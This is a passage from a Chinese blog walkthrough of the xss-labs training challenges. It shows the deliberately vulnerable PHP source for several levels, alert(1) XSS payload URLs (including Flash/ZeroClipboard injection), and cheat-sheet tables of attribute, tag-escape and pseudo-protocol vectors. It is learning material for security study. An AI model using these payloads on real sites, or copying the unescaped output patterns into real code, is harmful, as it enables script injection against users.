&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level19.php?arg01=a&amp;#x26;arg02=b&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level18&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level18&amp;#x3C;/h1&gt;
&amp;#x3C;?php
ini_set(&quot;display_errors&quot;, 0);
echo &quot;&amp;#x3C;embed src=xsf02.swf?&quot;.htmlspecialchars($_GET[&quot;arg01&quot;]).&quot;=&quot;.htmlspecialchars($_GET[&quot;arg02&quot;]).&quot; width=100% heigth=100%&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.和十七没有任何区别，payload同第十七&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;level18.php?arg01=a&amp;#x26;arg02=b%20onmouseover=alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;第十九关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level20.php?arg01=a&amp;#x26;arg02=b&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level19&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level19&amp;#x3C;/h1&gt;
&amp;#x3C;?php
ini_set(&quot;display_errors&quot;, 0);
echo &apos;&amp;#x3C;embed src=&quot;xsf03.swf?&apos;.htmlspecialchars($_GET[&quot;arg01&quot;]).&quot;=&quot;.htmlspecialchars($_GET[&quot;arg02&quot;]).&apos;&quot; width=100% heigth=100%&gt;&apos;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这一关把上面最大的问题给修复了 &lt;code&gt;&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这一关的注入就需要使用flash了 但是现代浏览器无法使用flash怎么办&lt;/p&gt;
&lt;p&gt;这里可以用 &lt;code&gt;Ruffle&lt;/code&gt; 这个浏览器插件，非常简单（但是有时候可能bug修的太好了导致flash的漏洞它用不了）&lt;/p&gt;
&lt;p&gt;或者去找一个专门的&lt;code&gt;尸体浏览器&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;2.想要解析&lt;code&gt;xsf03.swf&lt;/code&gt; 我们就必须用到 另一个工具 &lt;code&gt;JPEXS&lt;/code&gt; &lt;code&gt;sIFR&lt;/code&gt;文件太长了就不展示了(这里就意思意思了，flash逆向没学明白)&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;xsf03.swf&lt;/code&gt; 是个老演员了。它的 ActionScript 逻辑大概是这样的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;它接收一个名为 &lt;code&gt;version&lt;/code&gt; 的参数。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;它把这个参数直接赋值给了一个文本框的 &lt;code&gt;htmlText&lt;/code&gt; 属性。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flash 的 &lt;code&gt;htmlText&lt;/code&gt; 支持有限的 HTML 标签，其中就包括 &lt;code&gt;&amp;#x3C;a&gt;&lt;/code&gt; 标签（超链接）。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这就好办了，我们只要构造一个带 &lt;code&gt;javascript:&lt;/code&gt; 伪协议的 &lt;code&gt;&amp;#x3C;a&gt;&lt;/code&gt; 标签，传给 &lt;code&gt;version&lt;/code&gt; 参数，然后在 Flash 里点一下生成的链接，就能触发 JS。&lt;/p&gt;
&lt;p&gt;3.我们就可以如下构造出&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;level19.php?arg01=version&amp;#x26;arg02=&amp;#x3C;a href=&quot;javascript:alert(1)&quot;&gt;快点我拿flag&amp;#x3C;/a&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里利用了浏览器在渲染 HTML 标签时，有一个规则：&lt;strong&gt;在解析 HTML 属性值（比如 src、href、value）时，会自动进行“HTML 实体解码”。&lt;/strong&gt; 使用就算转义了也没事。&lt;/p&gt;
&lt;h2&gt;第二十关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level21.php?arg01=a&amp;#x26;arg02=b&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level20&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level20&amp;#x3C;/h1&gt;
&amp;#x3C;?php
ini_set(&quot;display_errors&quot;, 0);
echo &apos;&amp;#x3C;embed src=&quot;xsf04.swf?&apos;.htmlspecialchars($_GET[&quot;arg01&quot;]).&quot;=&quot;.htmlspecialchars($_GET[&quot;arg02&quot;]).&apos;&quot; width=100% heigth=100%&gt;&apos;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.这个 &lt;code&gt;xsf04.swf&lt;/code&gt; 是一个名为 &lt;strong&gt;ZeroClipboard&lt;/strong&gt; 的组件（早期版本）。它的功能是帮助网页实现“复制到剪贴板”的功能。它内部使用 &lt;code&gt;ExternalInterface.call&lt;/code&gt; 来调用浏览器的 JavaScript 函数。其 ActionScript 逻辑大致如下（简化版）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// 获取传入的 id 参数
var id = loaderInfo.parameters.id;
// 调用 JS，构造类似于这样的代码：
ExternalInterface.call(&quot;ZeroClipboard.dispatch&quot;, id, &quot;mouseOut&quot;, null);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者在生成的 JS 中，它会被拼接到一个字符串里： &lt;code&gt;try { __flash__toXML(ZeroClipboard.dispatch(&quot;你的ID&quot;)); } catch (e) { ... }&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞点：&lt;/strong&gt; Flash 在拼接这段 JS 代码时，没有正确处理我们传入的 &lt;code&gt;id&lt;/code&gt; 参数。如果我们传入特定的字符，就能闭合掉原本的引号和括号，插入我们自己的 JS 代码。&lt;/p&gt;
&lt;p&gt;3.我们需要做两件事：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;参数名 (&lt;code&gt;arg01&lt;/code&gt;)&lt;/strong&gt;：必须是 Flash 预定义的参数名，这里是 &lt;code&gt;id&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;参数值 (&lt;code&gt;arg02&lt;/code&gt;)&lt;/strong&gt;：需要闭合 Flash 构造的 JS 语句。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;构造 Payload：&lt;/strong&gt; 通常这关的标准 Payload 是 &lt;code&gt;\&quot;))alert(1)//&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;\&quot;&lt;/code&gt;：这里的反斜杠通常是为了转义 Flash 内部可能存在的转义，或者配合双引号闭合字符串。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;))&lt;/code&gt;：闭合前面的函数调用括号。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;alert(1)&lt;/code&gt;：执行我们的代码。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;//&lt;/code&gt;：注释掉后面原本的 JS 代码，防止语法错误。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;level20.php?arg01=id&amp;#x26;arg02=\&quot;))alert(1)//
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;遗憾的是不知道为什么我就是触发不了，下面附上大佬的解析&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.csdn.net/m0_73360524/article/details/141619635&quot;&gt;XSS LABS - Level 20 过关思路_xss-lab20-CSDN博客&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Xss-labs通关全解&amp;&amp;XSS笔记01</title><link>https://zh.maxtonniu.com/blog/xsslabs01</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/xsslabs01</guid><description>分析以及笔记</description><pubDate>Fri, 26 Dec 2025 18:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;初学者学习并且参考整理的笔记，仅供参考，非专业人员，难免有疏忽，借鉴他人，AI辅助之处，见谅。&lt;/p&gt;
&lt;p&gt;我选择直接使用源码呈现（正常情况下是无法看到完整源码的，只能看到页面源码）,一方面是省去试错payload所占用的篇幅，另一方面也是为了日后温习时能更加直观，不需要再挂其他的了，我觉得大部分过滤的方法都可以被试出来，多输入几次总归可以。\&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;第一关&lt;/h2&gt;
&lt;p&gt; 源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level2.php?keyword=test&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level1&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level1&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;name&quot;];
echo &quot;&amp;#x3C;h2 align=center&gt;欢迎用户&quot;.$str.&quot;&amp;#x3C;/h2&gt;&quot;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level1.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.从上往下分析，可以看到&lt;code&gt;window.alert&lt;/code&gt;被自定义函数重写。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level2.php?keyword=test&quot;; 
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.可以看到在html代码里插入了php代码段。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;name&quot;];
echo &quot;&amp;#x3C;h2 align=center&gt;欢迎用户&quot;.$str.&quot;&amp;#x3C;/h2&gt;&quot;;
?&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中&lt;code&gt;ini_set(&quot;display_errors&quot;, 0)&lt;/code&gt;;用于忽略报错信息&lt;/p&gt;
&lt;p&gt;然后通过get请求获得了&lt;strong&gt;name&lt;/strong&gt;的值赋给了str&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;echo &quot;&amp;#x3C;h2 align=center&gt;欢迎用户&quot;.$str.&quot;&amp;#x3C;/h2&gt;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很显然这里就是我们的注入点，直接将传入的值插入，没有进行任何过滤。&lt;/p&gt;
&lt;p&gt;3.那么我们就可以很简单的构造payload&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;?name=&amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt; //这里 alert()里面随便写什么都行
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;执行js代码的几种方式&lt;/h3&gt;
&lt;p&gt;| &lt;strong&gt;方式&lt;/strong&gt;    | &lt;strong&gt;Payload 示例&lt;/strong&gt;                 | &lt;strong&gt;适用场景&lt;/strong&gt;             | &lt;strong&gt;备注&lt;/strong&gt;         |
| --------- | ------------------------------ | -------------------- | -------------- |
| &lt;strong&gt;标准标签&lt;/strong&gt;  | &lt;code&gt;&amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt;&lt;/code&gt;    | 无过滤，直接输出             | 最容易被拦截         |
| &lt;strong&gt;图片报错&lt;/strong&gt;  | &lt;code&gt;&amp;#x3C;img src=1 onerror=alert(1)&gt;&lt;/code&gt; | 过滤了 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt;       | &lt;strong&gt;实战最常用&lt;/strong&gt;，自动触发 |
| &lt;strong&gt;交互事件&lt;/strong&gt;  | &lt;code&gt;&amp;#x3C;div onmouseover=alert(1)&gt;&lt;/code&gt;   | 过滤了 &lt;code&gt;src&lt;/code&gt; 或 &lt;code&gt;script&lt;/code&gt; | 需要诱导用户操作       |
| &lt;strong&gt;伪协议&lt;/strong&gt;   | &lt;code&gt;&amp;#x3C;a href=javascript:alert(1)&gt;&lt;/code&gt; | 注入点在 &lt;code&gt;a&lt;/code&gt; 标签内部        | 常见于点击链接处       |
| &lt;strong&gt;SVG标签&lt;/strong&gt; | &lt;code&gt;&amp;#x3C;svg/onload=alert(1)&gt;&lt;/code&gt;        | 现代浏览器，过滤 &lt;code&gt;img&lt;/code&gt;       | HTML5 新特性      |&lt;/p&gt;
&lt;h2&gt;第二关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level3.php?writing=wait&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level2&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level2&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = $_GET[&quot;keyword&quot;];
echo &quot;&amp;#x3C;h2 align=center&gt;没有找到和&quot;.htmlspecialchars($str).&quot;相关的结果.&amp;#x3C;/h2&gt;&quot;.&apos;&amp;#x3C;center&gt;
&amp;#x3C;form action=level2.php method=GET&gt;
&amp;#x3C;input name=keyword  value=&quot;&apos;.$str.&apos;&quot;&gt;
&amp;#x3C;input type=submit name=submit value=&quot;搜索&quot;/&gt;
&amp;#x3C;/form&gt;
&amp;#x3C;/center&gt;&apos;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level2.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.可以看到呢核心最终还是触发alert方法&lt;/p&gt;
&lt;p&gt;2.局部聚焦于htmlspecialchars函数，可以看到h2标签无法作为注入点使用，原因如下。&lt;/p&gt;
&lt;h3&gt;htmlspecialchars&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;.htmlspecialchars&lt;/strong&gt; 方法 它的作用是把&lt;strong&gt;预定义的字符&lt;/strong&gt;转换为 &lt;strong&gt;HTML 实体&lt;/strong&gt;。简单来说，就是把具有“功能性”的代码符号，变成了纯粹的“文本显示符号”。浏览器看到实体后，只会把它显示出来，而不会把它当作代码去执行。&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;输入字符&lt;/strong&gt; | &lt;strong&gt;转换后的实体&lt;/strong&gt; | &lt;strong&gt;含义&lt;/strong&gt;                    |
| -------- | ---------- | ------------------------- |
| &lt;code&gt;&amp;#x26;&lt;/code&gt;      | &lt;code&gt;&amp;#x26;amp;&lt;/code&gt;    | 和号                        |
| &lt;code&gt;&quot;&lt;/code&gt;      | &lt;code&gt;&amp;#x26;quot;&lt;/code&gt;   | &lt;strong&gt;双引号&lt;/strong&gt; (重点)              |
| &lt;code&gt;&amp;#x3C;&lt;/code&gt;      | &lt;code&gt;&amp;#x26;lt;&lt;/code&gt;     | 小于号 (直接杀死了 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 标签) |
| &lt;code&gt;&gt;&lt;/code&gt;      | &lt;code&gt;&amp;#x26;gt;&lt;/code&gt;     | 大于号                       |&lt;/p&gt;
&lt;p&gt;默认情况下（在 PHP 8.1 之前），它不转换单引号 (&lt;code&gt;&apos;&lt;/code&gt;)！&lt;/p&gt;
&lt;p&gt;这个函数的完整语法其实是： &lt;code&gt;htmlspecialchars(string, flags, encoding)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里的 &lt;code&gt;flags&lt;/code&gt; 参数决定了它的防御等级：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ENT_COMPAT&lt;/code&gt; (旧版默认值):&lt;/strong&gt; 转换双引号，&lt;strong&gt;保留单引号&lt;/strong&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ENT_QUOTES&lt;/code&gt;:&lt;/strong&gt; 同时转换双引号和单引号。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;ENT_NOQUOTES&lt;/code&gt;:&lt;/strong&gt; 都不转换。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;开发者在调用时往往懒省事，只写 &lt;code&gt;htmlspecialchars($str)&lt;/code&gt;，没加 &lt;code&gt;ENT_QUOTES&lt;/code&gt; 参数。 &lt;strong&gt;这就给了我们用“单引号”进行闭合绕过的机会。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.注入点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;input name=keyword  value=&quot;&apos;.$str.&apos;&quot;&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;依旧是直接拼接（在输入框中），这里的&lt;code&gt;input&lt;/code&gt; 是不安全的，分析可知 我们可以通过提前闭合 value=后的第一个&lt;code&gt;&quot;&lt;/code&gt; 进而插入&lt;/p&gt;
&lt;p&gt;4.我们就可以构造最简单的payload，插入的可以选择&lt;code&gt;input&lt;/code&gt;的属性&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&quot; onclick=&quot;alert(1) //注意这里alert(1)前只有一个&quot;因为要和后面的&quot;闭合，以及空格
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果只是想过关，到这里也就结束了，下面的是更多样化的选择。&lt;/p&gt;
&lt;p&gt;同样的，我们也可以选择其他的属性&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;&amp;#x3C;input&gt;&lt;/code&gt; 标签 XSS 触发属性速查表&lt;/h3&gt;
&lt;p&gt;| &lt;strong&gt;属性 (Attribute)&lt;/strong&gt;     | &lt;strong&gt;触发条件 (Trigger Condition)&lt;/strong&gt; | &lt;strong&gt;构造示例 (Payload)&lt;/strong&gt;                 | &lt;strong&gt;CTF/实战 推荐指数 &amp;#x26; 评价&lt;/strong&gt;                                                           |
| ---------------------- | ---------------------------- | ---------------------------------- | ------------------------------------------------------------------------------ |
| &lt;strong&gt;&lt;code&gt;onfocus&lt;/code&gt;&lt;/strong&gt;          | &lt;strong&gt;当输入框获得焦点时触发&lt;/strong&gt;。             | &lt;code&gt;&quot; onfocus=alert(1) autofocus=&quot;&lt;/code&gt;   | 加上 &lt;code&gt;autofocus&lt;/code&gt; 属性后，页面加载完成后会自动聚焦，实现 &lt;strong&gt;“无交互 (Zero-click)”&lt;/strong&gt; 自动触发 XSS。但是容易卡死，死循环。 |
| &lt;strong&gt;&lt;code&gt;onmouseover&lt;/code&gt;&lt;/strong&gt;      | &lt;strong&gt;当鼠标指针移动到输入框上方时触发&lt;/strong&gt;。        | &lt;code&gt;&quot; onmouseover=alert(1) &quot;&lt;/code&gt;         | 需要用户鼠标划过。如果输入框很大或者位置很显眼，成功率尚可，但不如自动触发稳。                                        |
| &lt;strong&gt;&lt;code&gt;onclick&lt;/code&gt;&lt;/strong&gt;          | &lt;strong&gt;当用户点击输入框时触发&lt;/strong&gt;。             | &lt;code&gt;&quot; onclick=alert(1) &quot;&lt;/code&gt;             | 需要用户主动点击。这是最被动的方式，除非你配合社工诱导用户去点击。                                              |
| &lt;strong&gt;&lt;code&gt;oninput&lt;/code&gt;&lt;/strong&gt;          | &lt;strong&gt;当用户在输入框内输入/修改内容时触发&lt;/strong&gt;。      | &lt;code&gt;&quot; oninput=alert(1) &quot;&lt;/code&gt;             | 需要用户进行输入操作。通常用于搜索框等用户必须打字的场景。                                                  |
| &lt;strong&gt;&lt;code&gt;onchange&lt;/code&gt;&lt;/strong&gt;         | &lt;strong&gt;当内容改变且失去焦点时触发&lt;/strong&gt;。           | &lt;code&gt;&quot; onchange=alert(1) &quot;&lt;/code&gt;            | 比较难触发，既要改内容，又要点别的地方，条件太苛刻。                                                     |
| &lt;strong&gt;&lt;code&gt;onblur&lt;/code&gt;&lt;/strong&gt;           | &lt;strong&gt;当输入框失去焦点时触发&lt;/strong&gt;。             | &lt;code&gt;&quot; onblur=alert(1) autofocus=&quot;&lt;/code&gt;    | 可以配合 &lt;code&gt;autofocus&lt;/code&gt;，一旦用户点击页面的其他地方（失去焦点），就会触发。                                     |
| &lt;strong&gt;&lt;code&gt;oncut&lt;/code&gt; / &lt;code&gt;oncopy&lt;/code&gt;&lt;/strong&gt; | &lt;strong&gt;当用户剪切/复制输入框内容时触发&lt;/strong&gt;。        | &lt;code&gt;&quot; value=&quot;点我复制&quot; oncopy=alert(1) &quot;&lt;/code&gt; | 非常特定的场景才有用（例如诱导用户复制某些兑换码）。                                                     |&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意这里&quot;前后基本上都有个空格&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这里关于&lt;code&gt;&quot;&lt;/code&gt; 闭合的情况还可以有其他的样式，具体可看表格&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;写法类型&lt;/strong&gt;           | &lt;strong&gt;示例&lt;/strong&gt;               | &lt;strong&gt;规则与限制&lt;/strong&gt;                    |
| ------------------ | -------------------- | ---------------------------- |
| &lt;strong&gt;双引号包裹&lt;/strong&gt;          | &lt;code&gt;onclick=&quot;alert(1)&quot;&lt;/code&gt; | 最标准写法。值里面可以包含空格、单引号。         |
| &lt;strong&gt;单引号包裹&lt;/strong&gt;          | &lt;code&gt;onclick=&apos;alert(1)&apos;&lt;/code&gt; | 标准写法。值里面可以包含空格、双引号。          |
| &lt;strong&gt;无引号 (Unquoted)&lt;/strong&gt; | &lt;code&gt;onclick=alert(1)&lt;/code&gt;   | &lt;strong&gt;只要值里面不包含“破坏性字符”，就可以不加引号。&lt;/strong&gt; |&lt;/p&gt;
&lt;p&gt;“破坏性字符” 是什么？&lt;/p&gt;
&lt;p&gt;如果你想使用 &lt;strong&gt;无引号&lt;/strong&gt; 写法（&lt;code&gt;onclick=payload&lt;/code&gt;），你的 Payload 里面&lt;strong&gt;绝对不能包含&lt;/strong&gt;以下字符，否则 HTML 解析器会认为属性值结束了：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;空格&lt;/strong&gt; (最关键的限制)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&quot;&lt;/code&gt; (双引号)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&apos;&lt;/code&gt; (单引号)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;=&lt;/code&gt; (等号)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;#x3C;&lt;/code&gt; (小于号)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&gt;&lt;/code&gt; (大于号)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;`&lt;/code&gt; (反引号)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这一关也比较简单没有对input内的进行转义，还可以考虑 &lt;strong&gt;标签逃逸&lt;/strong&gt; 和 &lt;strong&gt;伪协议&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;标签逃逸&lt;/h3&gt;
&lt;p&gt;后端&lt;strong&gt;没有&lt;/strong&gt;转义/过滤尖括号 &lt;code&gt;&amp;#x3C;&lt;/code&gt; 和 &lt;code&gt;&gt;&lt;/code&gt;。 &lt;strong&gt;攻击原理&lt;/strong&gt;：利用 &lt;code&gt;&gt;&lt;/code&gt; 强制结束当前的 &lt;code&gt;&amp;#x3C;input&gt;&lt;/code&gt; 标签，然后自由插入新的 HTML 标签。&lt;/p&gt;
&lt;p&gt;| &lt;strong&gt;攻击变种&lt;/strong&gt;           | &lt;strong&gt;适用场景 (Condition)&lt;/strong&gt;             | &lt;strong&gt;构造示例 (Payload)&lt;/strong&gt;                      | &lt;strong&gt;原理解析&lt;/strong&gt;                                                      |
| ------------------ | -------------------------------- | --------------------------------------- | ------------------------------------------------------------- |
| &lt;strong&gt;直接插入 Script&lt;/strong&gt;    | 最理想的情况，后端只检查了引号闭合，完全没管标签。        | &lt;code&gt;&quot;&gt; &amp;#x3C;script&gt;alert(1)&amp;#x3C;/script&gt;&lt;/code&gt;          | 1. &lt;code&gt;&quot;&gt;&lt;/code&gt; 闭合原 input。2. 浏览器解析执行完整的 JS 脚本块。                   |
| &lt;strong&gt;利用 img/svg&lt;/strong&gt;     | 后端过滤了 &lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 关键字，但没过滤 &lt;code&gt;&amp;#x3C; &gt;&lt;/code&gt;。 | &lt;code&gt;&quot;&gt; &amp;#x3C;img src=x onerror=alert(1)&gt;&lt;/code&gt;       | 1. &lt;code&gt;&quot;&gt;&lt;/code&gt; 闭合原 input。2. 利用图片加载失败（src=x）触发 &lt;code&gt;onerror&lt;/code&gt; 事件执行 JS。 |
| &lt;strong&gt;利用 body/iframe&lt;/strong&gt; | 需要更隐蔽或特定上下文，或者 &lt;code&gt;img&lt;/code&gt; 标签也被监控时。    | &lt;code&gt;&quot;&gt; &amp;#x3C;iframe onload=alert(1)&gt;&lt;/code&gt;           | 1. &lt;code&gt;&quot;&gt;&lt;/code&gt; 闭合原 input。2. iframe 加载完成时触发 &lt;code&gt;onload&lt;/code&gt;。             |
| &lt;strong&gt;利用 input (递归)&lt;/strong&gt;  | 你想弹窗，但不想破坏页面结构，看起来像个正常的框。        | &lt;code&gt;&quot;&gt; &amp;#x3C;input onfocus=alert(1) autofocus&gt;&lt;/code&gt; | 1. &lt;code&gt;&quot;&gt;&lt;/code&gt; 闭合原 input。2. 插入一个新的、自带攻击属性的 input 标签。还是有可能会死循环    |&lt;/p&gt;
&lt;h3&gt;伪协议与特殊 Type&lt;/h3&gt;
